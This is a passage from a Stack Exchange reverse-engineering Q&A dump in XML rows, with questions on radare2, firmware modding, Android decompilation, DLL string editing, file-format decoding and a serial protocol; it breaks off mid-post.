  <row Id="12207" PostTypeId="1" CreationDate="2016-03-13T02:32:49.850" Score="2" ViewCount="845" Body="&lt;p&gt;My idea is to automate the process of keeping in touch with my server in a portable and internet independent manner. The most optimal solution in my case is an SMS Gateway/Relay because I travel a lot and I want to eliminate the situation when I do not have internet access (WiFi or SIM). The 3G USB Modem is the best solution because I can keep it in my home wall plate, and the little ones cost around 7 Euro (Huawei K4305) in my town.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I didn't found a custom firmware with a web shell integrated to build the php file that request the information from my server API and send via sms to my mobile number. (I don't want online SMS Gateways like SMSGlobal)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a &quot;BinWalk / Firmware Mod Kit&quot; friendly FW version or projects related to this? My knowledge in reverse engineering is poor. Thank you for your attention and time!&lt;/p&gt;&#xA;" OwnerUserId="15368" LastActivityDate="2017-03-22T17:59:08.673" Title="Best 3G USB Modem for Reverse Engineering?" Tags="|firmware|hardware|usb|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12208" PostTypeId="1" AcceptedAnswerId="12209" CreationDate="2016-03-13T11:26:09.390" Score="3" ViewCount="4542" Body="&lt;p&gt;What is the Radare2 equivalent of going to the import table in ida, hitting enter on a function and then pressing ctrl+x?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use axt, it can only find xrefs to strings.&lt;/p&gt;&#xA;" OwnerUserId="15371" LastActivityDate="2016-03-13T11:44:25.577" Title="Radare2 find xrefs to a function in the import table" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12209" PostTypeId="2" ParentId="12208" CreationDate="2016-03-13T11:44:25.577" Score="5" Body="&lt;p&gt;After some researching. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran aaa and now you can use axt @ sym.imp.[dll].[function]&lt;/p&gt;&#xA;" OwnerUserId="15371" LastActivityDate="2016-03-13T11:44:25.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12211" PostTypeId="1" AcceptedAnswerId="12223" CreationDate="2016-03-14T16:27:52.797" Score="2" ViewCount="205" Body="&lt;p&gt;To what kind of compression algorithm could the following sentences belong to?    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AxFWR:YRCtIPns&amp;lt;_o%p_=Q&amp;gt;LELBM&#xA;AxFWRPA:cXe#&amp;lt;InM=L:Mthwekblc&#xA;AxFWREFEp`f?PU`;K;M:;P?MDMCL&#xA;AxFWRW%VK&amp;gt;Hk]hhDTSERSHWEKBLC&#xA;AxFWRiQifLRCE@t&amp;gt;N&amp;lt;J=&amp;lt;L;QHQGP&#xA;AxFWRTWTArlZ[fJhxbtcbrewax%y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't think that it is any kind of hash but rather a simpler algorithm. I tried Base64, but I am sure that it is not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I know that fragments of the &quot;plain text&quot; of every of these strings probably include (in order) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4B3A29&#xA;4609&#xA;N00852&#xA;A00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just to give you an example it could look like:&#xA; 4B3A29 ... 4609532N 00852444E A00 ...&lt;/p&gt;&#xA;" OwnerUserId="15382" LastActivityDate="2016-03-15T23:28:52.833" Title="What compression algorithm could have generated these strings?" Tags="|decompress|strings|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12212" PostTypeId="1" CreationDate="2016-03-14T17:45:37.337" Score="15" ViewCount="10863" Body="&lt;p&gt;I've spent the past 4 months trying to bypass certificate pinning in the Facebook android application so I can understand how it works, but I'm having trouble doing so. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using android SSL trust Killer and cydia substrate, but there seems to be some other verification mecanism. I have tried altering the smali code as explained here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.dewhurstsecurity.com/2015/11/10/mobile-security-certificate-pining.html&quot;&gt;http://blog.dewhurstsecurity.com/2015/11/10/mobile-security-certificate-pining.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to view two requests (one of which is shown in the last screenshot of the provided link), however the app seems to apply some other protection mecanism because when trying to login to an account, it gives an error message saying: &quot;ssl3_get_server_certificate certificate verify failed&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried every public tutorial I could find online to no avail, I would appreciate any input on how to do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also be happy to provide the decompiled source code, apk, and the modified apk if needed.&lt;/p&gt;&#xA;" OwnerUserId="15383" LastActivityDate="2016-12-31T07:32:40.860" Title="Bypassing certificate pinning in android" Tags="|android|apk|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="12215" PostTypeId="1" AcceptedAnswerId="12224" CreationDate="2016-03-15T13:43:14.807" Score="1" ViewCount="1363" Body="&lt;p&gt;Is it a safe assumption, say for x86, that an instruction either does not access memory, or only reads from memory, or writes to memory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could not find any instruction but I am not sure if this really is the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about ARM and MIPS?&lt;/p&gt;&#xA;" OwnerUserId="11830" LastActivityDate="2016-03-16T00:47:58.490" Title="Are there assembly instructions which both read from, and write to, memory?" Tags="|assembly|x86|arm|memory|mips|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12216" PostTypeId="2" ParentId="12211" CreationDate="2016-03-15T13:44:02.020" Score="0" Body="&lt;p&gt;This looks like base64 encoding to me, using an alphabet that has been reordered.  If you'd like a little more information, there's a paper that describes this sort of thing at &lt;a href=&quot;https://security.utexas.edu/sites/default/files/Obfuscation.pdf&quot; rel=&quot;nofollow&quot;&gt;https://security.utexas.edu/sites/default/files/Obfuscation.pdf&lt;/a&gt;.  Unfortunately, since there are so many ways to reorder the alphabet, it may not be easy to decode.&lt;/p&gt;&#xA;" OwnerUserId="15394" LastActivityDate="2016-03-15T13:44:02.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12219" PostTypeId="1" CreationDate="2016-03-15T18:28:55.930" Score="0" ViewCount="2538" Body="&lt;p&gt;Can anyone help me edit a string in a native dll?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vhDDg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vhDDg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to open the dll in CFF explorer or other similar tools, I can't see the string table, probably because it's hidden somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The DLL in question is msrating.dll (Internet Ratings and Local User Management DLL), and I want to change the string: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;This Page was blocked by your Approved Sites list.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to another specific string that will guide users to another browser when they access some sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.win7dll.info/msrating_dll.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; we can see the entire string table, but I can't seem to find them while editing the DLL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some guidance please :( ?&#xA;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="15399" LastActivityDate="2016-03-16T09:01:26.637" Title="Editing a string in a native dll" Tags="|dll|hex|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12220" PostTypeId="2" ParentId="12219" CreationDate="2016-03-15T23:02:18.163" Score="0" Body="&lt;p&gt;There is no reason for static strings to be in the Ressource section, but that's irrelevant. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just open the DLL in any hex editor, grep for the given string, and replace it manually. Since (from what I understand from your link) a simple &lt;em&gt;strings&lt;/em&gt; shows your target, there should be no obfuscation whatsoever.&lt;/p&gt;&#xA;" OwnerUserId="8679" LastActivityDate="2016-03-15T23:02:18.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12222" PostTypeId="1" CreationDate="2016-03-15T23:15:13.157" Score="1" ViewCount="321" Body="&lt;p&gt;I want to write a small knitting program for my wife. In it, I will also read * .stp files (Stitch pattern). These are small files containing a graphic created by the program DesignaKnit and many of which are files on the Internet. (Examples z. B. to &lt;a href=&quot;http://www.stricknetz.net/muster/dateien/&quot; rel=&quot;nofollow&quot;&gt;http://www.stricknetz.net/muster/dateien/&lt;/a&gt;).&#xA;To read it I need of course the format. Since I found it nowhere I tried to decipher. I have found much, but not get ahead now and hope to help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here what I found out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Byte 0-2: D7C&#xA;Byte 3-4: width&#xA;Byte 5-6: Height&#xA;Byte 7-8: width&#xA;Byte 9-10: Height&#xA;Byte 11-12: number of pattern repeats Horizontal&#xA;Byte 13-14: Number of vertical pattern repeats&#xA;Byte 44: 'Knitting technique:&#xA;    '0 = different - see the pattern ????&#xA;    '1 = marquetry&#xA;    '2 = 2-color jacquard&#xA;    '3 = 3-color jacquard&#xA;    '4 = 4-color jacquard&#xA;    '12 = Handstrick&#xA;    '14 = Structure pattern right side&#xA;    '15 = Textured pattern left&#xA;&#xA;Byte 177-209: Font name - padded with 0 (209 = End 0)&#xA;248-249 = height (number of rows)&#xA;250-251 = size image data in bytes&#xA;252 - (252 + image data size) = image data - (somehow RLE - compressed)&#xA;Then: 2 bytes = height (number of rows or number ???)&#xA;then 2 bytes Size of data&#xA;then ending bytes&#xA;then unknown data&#xA;then pallet (48 colors - if color is not used to zero)&#xA;Color 1 = 25 bytes&#xA;    Byte 0: number?&#xA;    Byte 1: message numbers&#xA;    Byte 3: Number&#xA;    Byte 6-8: RGB color&#xA;    Byte 9: Length Color Name&#xA;    Byte 10-24: color name with a final 0 (at length 15 without 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'm stuck with the RLE encoding of data. They are somehow specially coded. The figures (for number the same color, but also for the number in the range) switch repeatedly. z. B.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00h 05h 21h 00h 22h 02h 29h 0Ch&#xA;Color 1 | 2 Color | Color 1 | 2 Color | Color 1 | 2 Color | Color 1 | Colour 2 | etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thus, the position changes in the pallet continuously (or to re-calculate - for example color 1 in the example. 00h, 21h, 22h, 29h ...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the number of same-colored pixels in the RLE-encoded bytes changes constantly. So 2 is the same color pixels once B3h, then B9H, then again B9H, then B4h etc.&#xA;In tests I found out that it is connected with any bytes from position 35h (decimal 53).&#xA;But I do not come on.&#xA;I tried to look in a program that they can read files with IDA (SilverKnit Utility (www.silverknit.nl/download/) -. But since I speak no assembler I not get Perhaps someone can help me the riddle of STP to solve files (if at all possible) ??????????????????&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alfred&lt;/p&gt;&#xA;" OwnerUserId="15404" LastEditorUserId="4154" LastEditDate="2016-03-16T09:08:28.460" LastActivityDate="2016-03-16T09:08:28.460" Title="Reading stp (Designaknit Stitch Pattern)-Files" Tags="|ida|file-format|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12223" PostTypeId="2" ParentId="12211" CreationDate="2016-03-15T23:28:52.833" Score="1" Body="&lt;p&gt;As stated by @ashleydc, it's most likely custom Base64.If you have enough ciphertexts, an easy way to check if it's custom Base64 would be to compute the number of unique characters. (there are 56 unique chars with the few given examples, so it's a fair bet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, it's &quot;just&quot; a substitution cipher. Having a plaintext/ciphertext couple would tremendously help. Otherwise, if the plaintext has enough constraints (only digits/uppercase as you might hint?), you'll have to guess enough about the plaintext (most propable tuples, etc) until you're able to bruteforce it. &lt;/p&gt;&#xA;" OwnerUserId="8679" LastActivityDate="2016-03-15T23:28:52.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12224" PostTypeId="2" ParentId="12215" CreationDate="2016-03-16T00:47:58.490" Score="2" Body="&lt;p&gt;Your question has been answered in comments for x86 - &lt;code&gt;movsb&lt;/code&gt; both reads and writes to memory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On ARM the only instructions that touch memory is &quot;read from memory to a register&quot; and &quot;write a register to memory&quot;, so no there aren't. Same with MIPS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IIRC all (or almost all?) RISC processors are this &quot;load and store&quot; architecture.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2016-03-16T00:47:58.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12225" PostTypeId="1" CreationDate="2016-03-16T06:31:04.747" Score="1" ViewCount="847" Body="&lt;p&gt;I'm new to decompiling apps. Most of the apps I decompile aren't very popular, so obfuscation hasn't been a problem yet. I'm not entirely sure what obfuscation looks like. The current app I'm looking into has this, or a similar variant, in all of its layout files.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;RelativeLayout      ImageView LinearLayout !!com.graphtech.views.AppsViewPager  € @   ô õ Ô Ä Ð s× &amp;amp;¯ Õ         ÿÿÿÿ       t      ÿÿÿÿÿÿÿÿ                  ÿÿÿÿ           ÿÿÿÿ  1        ÿÿÿÿ  ÿÿÿÿ      ÿÿÿÿ  ÿÿÿÿ œ      ÿÿÿÿÿÿÿÿ                  ÿÿÿÿ   &#xA;         ÿÿÿÿ  ÿÿÿÿ      ÿÿÿÿ  ÿÿÿÿ      ÿÿÿÿ           ÿÿÿÿ  ÿÿÿÿ    &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is this obfuscation or just a problem from the process of decompiling?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of weird symbols.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The app I'm looking into is the &quot;Else Splay Launcher&quot;. It's the leftovers from an unsuccessful phone ui a company designed some years ago, and it was eventually turned into a launcher for Android.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=1TURvkvrJ-Q&quot; rel=&quot;nofollow&quot;&gt;Splay Launcher UI Preview&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15405" LastActivityDate="2016-03-16T08:39:32.310" Title="I'm decompiling an apk file to learn how the creator designed the UI for their app. Are these layout files obfuscated?" Tags="|obfuscation|android|deobfuscation|decompile|apk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12226" PostTypeId="2" ParentId="12225" CreationDate="2016-03-16T08:39:32.310" Score="1" Body="&lt;p&gt;You see weird symbols, because you opened a binary file with a text viewer. The XML files are Android XMLs (XML files compressed by the Android AAPT tool) and you can find a lot of tools how you can &lt;a href=&quot;https://stackoverflow.com/questions/4191762/how-to-view-androidmanifest-xml-from-apk-file&quot;&gt;decompress/view&lt;/a&gt; them.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-03-16T08:39:32.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12227" PostTypeId="2" ParentId="12219" CreationDate="2016-03-16T09:01:26.637" Score="2" Body="&lt;p&gt;You can find the string resources in the &lt;a href=&quot;https://en.wikipedia.org/wiki/Multilingual_User_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;mui&lt;/a&gt; files under the folder contains resources dedicated to localization (e.g. c:\Windows\System32\en-US). The strings are in Unicode format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IJkao.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IJkao.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2016-03-16T09:01:26.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12229" PostTypeId="1" CreationDate="2016-03-16T14:56:30.317" Score="0" ViewCount="136" Body="&lt;p&gt;I'm trying to figure out the formula used by the US Census Department's world and US population clocks here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.census.gov/popclock/?intcmp=home_pop&quot; rel=&quot;nofollow&quot;&gt;https://www.census.gov/popclock/?intcmp=home_pop&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure they're using a browser-computed formula and not contacting a server on the back end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded the source of that page (including the javascript includes), but couldn't find where or how this function was defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did look through the various help pages, and they explain in general terms how the population count is computed, but without providing any actual numbers or even general formulas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware there are other population clocks that do publish their formulas, but they are not in agreement with the Census population clocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;" OwnerDisplayName="user10070" LastActivityDate="2016-06-14T16:45:41.883" Title="Census world and US population clocks" Tags="|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12230" PostTypeId="2" ParentId="12229" CreationDate="2016-03-16T15:13:51.870" Score="1" Body="&lt;p&gt;OK, I feel pretty silly. Just seconds after posting I found:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.census.gov/popclock/data/population.php/us&quot; rel=&quot;nofollow&quot;&gt;https://www.census.gov/popclock/data/population.php/us&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.census.gov/popclock/data/population.php/world&quot; rel=&quot;nofollow&quot;&gt;https://www.census.gov/popclock/data/population.php/world&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;which gives replies like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;us&quot;:{&quot;label&quot;:&quot;United States&quot;,&quot;estimate&quot;:true,&quot;population&quot;:323177593,&quot;population_rate&quot;:0.067974537,&quot;rate_interval&quot;:&quot;second&quot;,&quot;last_updated&quot;:&quot;1458140658&quot;,&quot;components&quot;:{&quot;birth_rate&quot;:{&quot;increment&quot;:1,&quot;interval&quot;:&quot;8&quot;,&quot;unit&quot;:&quot;seconds&quot;},&quot;death_rate&quot;:{&quot;increment&quot;:1,&quot;interval&quot;:&quot;11&quot;,&quot;unit&quot;:&quot;seconds&quot;},&quot;immigrant_rate&quot;:{&quot;increment&quot;:1,&quot;interval&quot;:&quot;29&quot;,&quot;unit&quot;:&quot;seconds&quot;}},&quot;date&quot;:&quot;03\/16\/2016&quot;}}&#xA;&#xA;{&quot;world&quot;:{&quot;label&quot;:&quot;World Population&quot;,&quot;estimate&quot;:true,&quot;population&quot;:7312020325,&quot;population_rate&quot;:2.47551113,&quot;rate_interval&quot;:&quot;second&quot;,&quot;last_updated&quot;:&quot;1458140658&quot;,&quot;monthly_estimates&quot;:{&quot;1435708800&quot;:{&quot;population&quot;:7256490011,&quot;estimate&quot;:true,&quot;projected&quot;:false},&quot;1438387200&quot;:{&quot;population&quot;:7263120419,&quot;estimate&quot;:true,&quot;projected&quot;:false},&quot;1441065600&quot;:{&quot;population&quot;:7269750827,&quot;estimate&quot;:true,&quot;projected&quot;:false},&quot;1443657600&quot;:{&quot;population&quot;:7276167351,&quot;estimate&quot;:true,&quot;projected&quot;:false},&quot;1446336000&quot;:{&quot;population&quot;:7282797759,&quot;estimate&quot;:true,&quot;projected&quot;:false},&quot;1448928000&quot;:{&quot;population&quot;:7289214283,&quot;estimate&quot;:true,&quot;projected&quot;:false},&quot;1451606400&quot;:{&quot;population&quot;:7295844691,&quot;estimate&quot;:true,&quot;projected&quot;:false},&quot;1454284800&quot;:{&quot;population&quot;:7302475099,&quot;estimate&quot;:true,&quot;projected&quot;:false},&quot;1456790400&quot;:{&quot;population&quot;:7308677739,&quot;estimate&quot;:true,&quot;projected&quot;:false},&quot;1459468800&quot;:{&quot;population&quot;:7315308147,&quot;estimate&quot;:true,&quot;projected&quot;:true},&quot;1462060800&quot;:{&quot;population&quot;:7321724671,&quot;estimate&quot;:true,&quot;projected&quot;:true},&quot;1467331200&quot;:{&quot;population&quot;:7334771614,&quot;estimate&quot;:true,&quot;projected&quot;:true}},&quot;date&quot;:&quot;20160316&quot;}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, yes, the clock does contact a server everytime you load the page.&lt;/p&gt;&#xA;" OwnerDisplayName="user10070" LastActivityDate="2016-03-16T15:13:51.870" CommentCount="0" CommunityOwnedDate="2016-03-16T15:13:51.870" ContentLicense="CC BY-SA 3.0" />
  <row Id="12231" PostTypeId="1" CreationDate="2016-03-16T21:55:34.897" Score="2" ViewCount="8151" Body="&lt;p&gt;I have this Ubiquiti firmware and I successfully extract the firmware and rebuild it, I modify Squashfs filesystem and rebuild it using build-firmware.sh script from firmware-mod-kit, but the problem I have is CRC Not the same as the original value, so how can I bypass CRC checksum also what is this &quot;CRC32 polynomial table, big endian&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this output for original firmware &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Scan Time:     2016-03-16 11:23:35&#xA;Target File:   /home/security/Desktop/XW.v5.6.3-beta3.28377.150922.1830_2.bin&#xA;MD5 Checksum:  c7227eeeb31a1c5a8fbcbfc7f70587f0&#xA;Signatures:    351&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;------------------------------------------------------------------------------------------------------------------------------------------------------------------------&#xA;0             0x0             Ubiquiti firmware header, header size: 264 bytes, ~CRC32: 0xB49B5747, version: &quot;XW.ar934x.v5.6.3-beta3.28377.150922.1830&quot;&#xA;260           0x104           Ubiquiti partition header, header size: 56 bytes, name: &quot;PARTu-boot&quot;, base address: 0x00000000, data size: 0 bytes&#xA;127444        0x1F1D4         Certificate in DER format (x509 v3), header length: 4, sequence length: 64&#xA;151956        0x25194         U-Boot version string, &quot;U-Boot 1.1.4-s958 (Jun 10 2015 - 10:56:20)&quot;&#xA;152244        0x252B4         CRC32 polynomial table, big endian&#xA;222808        0x36658         CRC32 polynomial table, big endian&#xA;225032        0x36F08         Ubiquiti end header, header size: 12 bytes, cumulative ~CRC32: 0x454E442E&#xA;228848        0x37DF0         Ubiquiti partition header, header size: 56 bytes, name: &quot;PARTkernel&quot;, base address: 0x00000001, data size: -2147475456 bytes&#xA;228912        0x37E30         uImage header, header size: 64 bytes, header CRC: 0x4A2F55E8, created: 2015-09-22 15:31:31, image size: 952264 bytes, Data Address: 0x80002000, Entry Point: 0x80002000, data CRC: 0x533245A9, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: &quot;MIPS Ubiquiti Linux-2.6.32.67&quot;&#xA;228976        0x37E70         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2783164 bytes&#xA;1181240       0x120638        Ubiquiti partition header, header size: 56 bytes, name: &quot;PARTrootfs&quot;, base address: 0x00000002, data size: 0 bytes&#xA;1181304       0x120678        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 5877613 bytes, 1185 inodes, blocksize: 131072 bytes, created: 2015-09-22 15:31:33&#xA;7210680       0x6E06B8        gzip compressed data, from Unix, last modified: 2015-09-22 15:30:15&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the output for modified firmware is here &lt;a href=&quot;http://pastebin.com/uWxG59pu&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/uWxG59pu&lt;/a&gt;&lt;br&gt;&#xA;*also can i make fake CRC to look like the original value&lt;/p&gt;&#xA;" OwnerUserId="12693" LastActivityDate="2016-07-03T02:19:59.787" Title="how to bypass CRC checksum in firmware header" Tags="|firmware|embedded|crc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12232" PostTypeId="1" CreationDate="2016-03-16T23:29:22.527" Score="1" ViewCount="190" Body="&lt;p&gt;Spent the last few weeks reading, typing, testing, rinse &amp;amp; repeat to no avail in solving a problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem:&lt;/strong&gt; Trying to reverse engineer a serial protocol at work.  Instrument is currently being sold.  Speaks exclusively to a GUI that was 'written' in Labview and is old and buggy.  I can't navigate the Labview 'code' for the life of me and the old SW engineer is gone.  I have the firmware code - but I'm not a firmware guy and I can't seem to find any kind of communications protocol in the firmware (I'm looking for read functions in the UART routines with input compare logic.. can't find anything).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using Busdog and some other serial monitors to read USB port communications between GUI and instrument.  I try to mimic what the GUI is saying, but I get different responses from instrument.  I've tried every common baud rate and I can't get the instrument to respond in the same manner (I'm seeing 57600 in firmware and software code but still can't get that baud rate to work).  Language I'm using is C# if that matters. Instrument also uses USB adapter for old style D-Sub serial cable, really not sure if that matters either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's the GUI/Instrument startup log&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;&lt;strong&gt;Id    Type    Time    Length  Hex Ascii&lt;/strong&gt;&lt;br&gt;&#xA;    12   Out  (USB URB Function: 9)  0.000000    4   00 00 00 00 ....&lt;br&gt;&#xA;    12   Out  (USB URB Function: 9)  1.008934    4   00 00 00 00 ....&lt;br&gt;&#xA;    12   Out  (USB URB Function: 9)  1.010073    4   00 00 00 00 ....&lt;br&gt;&#xA;    12   Out  (USB URB Function: 9)  1.007099    4   00 00 00 00 ....&lt;br&gt;&#xA;    12   Out  (USB URB Function: 9)  1.010093    4   00 00 00 00 ....&lt;br&gt;&#xA;    12   Out  (USB URB Function: 9)  1.009898    4   00 00 00 00 ....&lt;br&gt;&#xA;    12   Out  (USB URB Function: 9)  1.010076    4   00 00 00 00 ....&lt;br&gt;&#xA;    12   Out  (USB URB Function: 9)  1.010085    4   00 00 00 00 ....&lt;br&gt;&#xA;    12   Out  (USB URB Function: 9)  1.010055    4   00 00 00 00 ....&lt;br&gt;&#xA;    12   Out  (USB URB Function: 9)  1.009993    4   00 00 00 00 ....&lt;br&gt;&#xA;    12   Out  (USB URB Function: 9)  1.010076    4   00 00 00 00 ....    &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.478304    19  01 60 00 00 00 00 00 00 00 00&#xA;  00 00 00 00 00 00 00 00 00    ..................  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.015842    29  01 60 00 00 00 00 00 00 00 00&#xA;  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;  00    ............................    &lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;12   Out  (USB URB Function: 9)  0.035298    5   09 01 00 00 f6  .....   &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   1.476104    7   01 60 09 01 00 00 f6    ......  &lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;12   Out  (USB URB Function: 9)  0.000255    4   01 00 00 ff ....    &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.255325    14  01 60 01 13 32 33 30 30 34 35&#xA;  37 00 02 14   ...2300457...   &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.016031    13  01 60 01 c7 00 78 00 58 f9 01&#xA;  03 04 d8  ....x.X.....    &lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;12   Out  (USB URB Function: 9)  0.001046    5   05 01 01 00 f9  .....   &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.190664    50  01 60 05 3c 01 00 00 00 00 00&#xA;  00 00 00 00 00 00 00 00 00 00 01 00 01 43 44 4f 4d 00 00 00 00 00 00&#xA;  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 52&#xA;  46    ..&amp;lt;...................CDOM.....................RF   &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.016036    18  01 60 55 00 00 00 00 00 4e 00&#xA;  00 00 00 00 02 9d 03 bc   .U.....N.........   &lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;12   Out  (USB URB Function: 9)  0.000203    5   05 01 02 00 f8  .....   &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.223419    9   01 60 05 3c 02 00 00 00&#xA;  00    ..&amp;lt;.....    &lt;/p&gt;&#xA;  &#xA;  